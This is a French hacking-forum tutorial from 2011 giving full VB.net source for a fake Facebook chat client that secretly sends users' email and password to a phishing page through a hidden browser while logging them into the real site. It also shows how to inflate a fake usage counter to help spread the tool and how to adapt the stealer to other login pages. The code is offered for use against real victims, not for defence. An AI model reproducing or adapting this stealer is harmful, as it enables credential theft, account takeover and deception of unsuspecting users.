Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: [Tuto] Facebook tchat et stealer VB.net ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 12:45 (2011)    Sujet du message: [Tuto] Facebook tchat et stealer VB.net Répondre en citant

Voila un facebook messenger fonctionnel et qui l'air de rien vous vole vos identifiants pas de serveur ni stub, ni renvoi de mail avec les identifiants rien du tout  Very Happy

Ca évitera le reverse engineering  Twisted Evil   Twisted Evil



A oui sur l'idée d'Alien j'ai ajouté un compteur d'utilisation que je fait bien triché comme ca pour le spreadé ca donne l'impression que c'est un soft populaire ^^ la preuve par le chiffre j'ai commencé à le testé ce soir et regardé le nombre d'utilisateurs ......

Coté fonctionnel



Voila et à chaque connection de la personne on récupère ses identifiants ..

Alors pour la conception j'ai pris tout ca .. niveau aspect faites comme vous voulez



Les picturesbox c'est le: logo facebook - adresse électronique - mot de passe - connexion - compteur de visite

Les labels: 1 pour l'heure et 1 pour Utilisateurs

Les timers: 1 pour l'heure, 1 pour rafraichir le compteur de visite et 1 pour la progressbar et affiché la page du tchat une fois connecté

Les 4 webbrowsers dans les propriétées de chacun mettre l'option visible = false

Ok le code au chargement de la form il faut ca

Code:



Imports System.Net

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

   Timer1.Interval = 1000    'Timer1_Tick sera déclenché toutes les secondes.

    Timer1.Start()            'On démarre le Timer de l'heure

    Timer2.Start()            ' le timer du compteur de visite 

    WebBrowser1.Navigate("http://..............") 'Url compteur de visite

    WebBrowser2.Navigate("http://..............") ' Url page phishing

    WebBrowser3.Navigate("https://www.facebook.com/login.php?login_attempt=1") 'url connection facebook 

    WebBrowser4.Navigate("http://www.facebook.com/presence/popout.php")  'Url du tchat facebook

End Sub



Ensuite chez moi la picturebox4 c'est le bouton connexion chez vous ce sera peut etre autre chose mais voila le code

Code:



Private Sub PictureBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox4.Click  '<---Bouton connexion

    Timer3.Start()

     WebBrowser2.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))

     WebBrowser2.Document.GetElementById("pass").SetAttribute("value", (TextBox2.Text))

     WebBrowser2.Document.GetElementById("????").InvokeMember("click")  ' action click sur connexion page phishing remplacé ???? par l'id du bouton connexion de ta page phishing

      WebBrowser3.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))

      WebBrowser3.Document.GetElementById("pass").SetAttribute("value", (TextBox2.Text))

      WebBrowser3.Document.GetElementById("login").InvokeMember("click") ' action click sur connexion page facebook

End Sub




Petite parenthèse sur le bout de code au dessus . Pour ceux qui ne savent pas !!

dans cette ligne

 WebBrowser2.Document.GetElementById("?????").InvokeMember("click")  ' action click sur connexion page phishing remplacé ???? par l'id du bouton connexion de ta page phishing

a la place des point d interrogation il faudra mettre l'id du bouton connexion de votre page phishing..

Pour ca affiché le code source de votre page phishing et recherché : uiButtonConfirm

Vous tomberez sur un code comme ca

Code:

class="uiButton uiButtonConfirm" for="u130185_3"><input value="Connexion" tabindex="4" type="submit" id="u130185_3"


ce qui nous intéresse c'est les chiffre après ( id =     )copié les et collé les dans votre code final a la place des points d'interrogation  Okay
 
Voila reprenons...

Pour les timers

Code:



Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick

   Label1.Text = Now.ToLongTimeString    'Affiche l'heure format long.        

End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

    Me.WebBrowser1.Refresh() '  pour grossir un max le compteur de visite

End Sub

Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick

     ProgressBar1.Increment(1)

     If ProgressBar1.Value = ProgressBar1.Maximum Then

     Timer3.Stop()

     ProgressBar1.Hide()

     WebBrowser4.Show() ' affiche le tchat caché jusque la sinon il s' affiche avant d etre connecté et montre un formulaire de connexion

End If

End Sub



Voila et la fermeture de la form on ajoute ca

Code:



Private Sub Form1_FormClosed(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles MyBase.FormClosed

 System.Diagnostics.Process.Start("rundll32.exe", "InetCpl.cpl,ClearMyTracksByProcess 2") ' nettoie les cookies a la fermeture du programme

 Timer2.Stop() ' arrêtre de rafraichir de grossir le compteur de visite 

End Sub





Ce qui en finalité vous donne ca

Code:



Imports System.Net

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        Timer1.Interval = 1000    'Timer1_Tick sera déclenché toutes les secondes.

        Timer1.Start()            'On démarre le Timer

        Timer2.Start()            ' le timer du compteur de visite 

        WebBrowser1.Navigate("http://..............") 'Url compteur de visite

        WebBrowser2.Navigate("http://..............") ' Url page phishing

        WebBrowser3.Navigate("https://www.facebook.com/login.php?login_attempt=1") 'url connection facebook 

        WebBrowser4.Navigate("http://www.facebook.com/presence/popout.php")  'Url du tchat facebook

    End Sub

    Private Sub PictureBox4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox4.Click  '<---Bouton connexion

        Timer3.Start()

        WebBrowser2.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))

        WebBrowser2.Document.GetElementById("pass").SetAttribute("value", (TextBox2.Text))

        WebBrowser2.Document.GetElementById("????").InvokeMember("click")  ' action click sur connexion page phishing remplacé ???? par l'id du bouton connexion de ta page phishing

        WebBrowser3.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))

        WebBrowser3.Document.GetElementById("pass").SetAttribute("value", (TextBox2.Text))

        WebBrowser3.Document.GetElementById("login").InvokeMember("click") ' action click sur connexion page facebook

    End Sub

    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles Timer1.Tick

        Label1.Text = Now.ToLongTimeString    'Affiche l'heure format long.        

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

        Me.WebBrowser1.Refresh() '  pour grossir un max le compteur de visite

    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick

        ProgressBar1.Increment(1)

        If ProgressBar1.Value = ProgressBar1.Maximum Then

            Timer3.Stop()

            ProgressBar1.Hide()

            WebBrowser4.Show() ' affiche le tchat caché jusque la sinon il s' affiche avant d etre connecté et montre un formulaire de connexion

        End If
    End Sub

    Private Sub Form1_FormClosed(ByVal sender As System.Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles MyBase.FormClosed

        System.Diagnostics.Process.Start("rundll32.exe", "InetCpl.cpl,ClearMyTracksByProcess 2") ' nettoie les cookies a la fermeture du programme

     Timer2.Stop() ' arrêtre de rafraichir de grossir le compteur de visite 
    
End Sub
End Class




Par contre lorsque le programme visitera la page de conexion facebook pour la première fois la case gardé ma sessions active sera coché donc à la connection suivante le code aura un problème car il a ordre de remplir les deux champ email et pass hors vu que gardé la sessions active est coché seul le champ mot de pass sera disponible a la prochaine connexion :/

d'ou l'erreur erreur....

Pour évité ca faut trouvé de quoi décoché la case sessions active ce qui pour une seule page de connexion ne posera pas de soucis mais pour plusieurs peut être oui donc le mieux est d'integré dans le code une option nettoyage des cookies a la fermeture du programme et et plus d'erreur a la connexion suivante....ce que j'ai fait dans le code au dessus ..

Le mieux et aussi d'avoir une page phishing juste pour ce programme dont la redirection se fait vers https://www.facebook.com/login.php?login_attempt=1  et la le programme est presque parfait ^^

Presque car si on se trompe de mot de passe ou ne met rien et clique sur connexion il affiche la page de connexion au tchat faut que je trouve comment évité ca mais en attendant c'est déjà po mal ...

Voila en espérant que ca puisse aidé  Okay


Et une petite démo




A savoir pour ce soft j'ai beaucoup pataugé car facebok c'est pas le plus simple ^^

En fait j'avais besoin de réussir a faire connecté comme je l' ai expliqué sur différentes pages ...

Alors sur facebook en effet le code est le suivant suivant

Code:
 
WebBrowser3.Document.GetElementById("email").SetAttribute("value", (TextBox1.Text))
WebBrowser3.Document.GetElementById("pass").SetAttribute("value", (TextBox2.Text))
WebBrowser3.Document.GetElementById("login").InvokeMember("click") 'agi sur le bouton conexion


marchera sur cette page


https://www.facebook.com/login.php?login_attempt=1 car dans le code source de cette page l'id ayant un chiffre se nomme aussi ''login "

Code:
class="uiButton uiButtonConfirm uiButtonLarge" for="u885467_1"><input value="Connexion" name="login" onclick="" type="submit" id="u885467_1"  'code du bouton conexion


Donc la pas de soucis ca fonctionne maintenant je voulais connecté  à partir de la page principale facebook

A savoir

http://www.facebook.com/  et bien la

Code:
WebBrowser3.Document.GetElementById("login").InvokeMember("click") 'agi sur le bouton conexion


ne fonctionnera pas car le code source du bouton  conexion est

Code:
class="uiButton uiButtonConfirm" for="u130185_3"><input value="Connexion" tabindex="4" type="submit" id="u130185_3" 'code du bouton conexion


L'id ce coup ci n'as pas de nom "login" donc l'appel ne marche pas .... on pourrai remplacé "login" par l'id "u130185_3"

Sauf que en testant a plusieurs reprise cela finissai par ne plus marché j'ai analysé le code et en fait  cet id change toute les 10minute voir moins donc le programme deviendrai inutile...

En résumé vous voulais un programme qui se connecte a facebook simplement

il faut pour se connecté passé par une de ces deux pages :


https://login.facebook.com/login.php?login_attempt=1
https://www.facebook.com/login.php?login_attempt=1

car meme si l'id change il se nomme toujours "login"
donc le code fonctionnera toujours ....

Par contre lorsque votre programme visitera la page de conexion facebook pour la première fois la case gardé ma sessions active sera coché donc à la connection suivante le code aura un problème car il a ordre de remplir les deux chanmp email et pass hors vu que vous avez gardé la sessions active seul le champ mot de pass sera disponible :/

Pour évité ca ou vous trouvé de quoi décoché la case sessions active  ce qui pour une seule page de connexion ne posera pas de soucis mais pour plusieurs peut être donc le mieux est d'integré dans votre code une option nettoyage des cookies a la fermeture du programme  Okay

pour d'autre page reprenais le code complet analysé le code source des pages connexion et remplacé "email" "pass" et "login" par les nom correspondant et tout roule car tout les sites ne change pas l'id aussi souvent que facebook ^^


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 12:45 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com